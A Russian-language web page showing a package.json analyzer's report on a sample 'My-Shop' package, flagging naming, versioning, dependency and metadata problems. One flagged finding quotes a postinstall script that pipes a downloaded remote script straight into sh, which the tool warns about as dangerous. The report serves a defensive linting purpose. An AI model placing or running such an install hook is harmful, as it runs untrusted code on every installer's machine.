На главную

Конвертеры и генераторы кода

Анализ package.json

Проверяет обязательные поля, дубли зависимостей, плавающие версии и опасные скрипты.

Ошибки

4

Предупреждения

6

Замечания

6

Пакет

Имя
My-Shop
Версия
1.0
Лицензия
Тип модулей
commonjs (по умолчанию)
Приватный
нет
Скриптов
2
Зависимостей
4
Для разработки
2
Всего пакетов
6

Что нашлось

  • Имя «My-Shop» недопустимо: заглавные буквы в имени запрещены

    ошибка

    npm принимает только строчные буквы, цифры, дефис, точку, подчёркивание и тильду.

    name

  • Версия «1.0» не по SemVer

    ошибка

    Ожидается major.minor.patch, например 1.4.2 или 2.0.0-rc.1.

    version

  • «vue» и в dependencies, и в devDependencies

    ошибка

    При установке победит dependencies, а разработчик будет читать devDependencies — расхождение обеспечено.

    vue

  • Скрипт «postinstall»: скачивание и немедленный запуск скрипта из сети

    ошибка

    curl -sL https://example.com/setup.sh | sh

    scripts.postinstall

  • Не указана лицензия

    предупреждение

    Без license npm при публикации ставит пометку UNLICENSED.

    license

  • Нет ни main, ни exports, ни bin

    предупреждение

    Непонятно, что импортируется при require/import этого пакета.

    main

  • «lodash»: версия «*»

    предупреждение

    Сборка перестаёт быть воспроизводимой: завтра приедет другой код.

    dependencies.lodash

  • «axios»: версия «latest»

    предупреждение

    Сборка перестаёт быть воспроизводимой: завтра приедет другой код.

    dependencies.axios

  • Скрипт «postinstall» запускается сам при установке

    предупреждение

    Проверьте, что там ровно то, что нужно: этот код выполнится у каждого, кто поставит пакет.

    scripts.postinstall

  • Есть workspaces, но пакет не private

    предупреждение

    Корень монорепозитория почти всегда должен быть приватным.

    workspaces

  • Нет описания

    замечание

    description показывается в поиске npm и в списке зависимостей.

    description

  • Нет ссылки на репозиторий

    замечание

    Поле repository включает ссылку «Repository» на странице пакета.

    repository

  • Не задан engines.node

    замечание

    Без него нечем предупредить о слишком старой Node.

    engines

  • «internal-lib» ставится не из npm: git+ssh://git@example.com/internal-lib.git

    замечание

    Такая зависимость не проверяется аудитом и может исчезнуть.

    dependencies.internal-lib

  • Зависимости не по алфавиту

    замечание

    npm сам сортирует их при установке — в следующем коммите будет лишний шум.

    dependencies

  • Нет скрипта test

    замечание

    Даже заглушка полезнее отсутствия: она видна в CI.

    scripts.test